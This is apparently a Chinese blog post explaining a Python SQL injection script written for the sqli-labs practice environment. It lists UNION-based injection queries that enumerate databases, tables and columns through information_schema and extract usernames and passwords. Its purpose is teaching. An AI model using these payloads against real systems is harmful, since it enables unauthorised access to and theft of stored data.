python sql注入检测脚本_sql注入脚本

摘要

本篇文章对原理的解释占据主要,输出的美化部分不做详细解释

一. 成果展示

假设我的数据库有这些

ece250a04942b90874c5dde7b13f97b2.png

那么通过sql注入把所有数据库的所有表所有字段和所有的内容查找出来

37b86681793934545654257b5eda926e.png

9208b651f94bb30f68bd76662d51b6a9.png

二. 原理

对sql-labs的前四关有效,其实程序是根据sqli-lab的特点而不是像强大的工具sqlmap一样可以完全实现sql注入,而今天的核心就在于三个表达式

select * from users where id='-1' union select 1,2,group_concat(schema_name) from information_schema.schemata; -- # //得到数据库名

select * from users where id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'; -- # //得到表名

select * from users where id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'users'; -- # //得到列名

select * from users where id='-1' union select 1,username,password from users where id=3; -- # //爆破得到数据

首先了解一下information_schema数据库,我们重点关注他的三个表(columns,schemata,tables)

13cfdd68394ab0ba246b88874a82fcfa.png

schemata表的schena_name存储了所有数据库名

89946132bfa16910a5520927cbddaf78.png

table表的table_schema和table_name存储了所有数据库的所有表

f3c39d7b1fd6ae96bd7f535131af62d9.png

同理columns表存储了所有数据库(table_schema)的所有表(table_name)的所有字段(column_name)

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值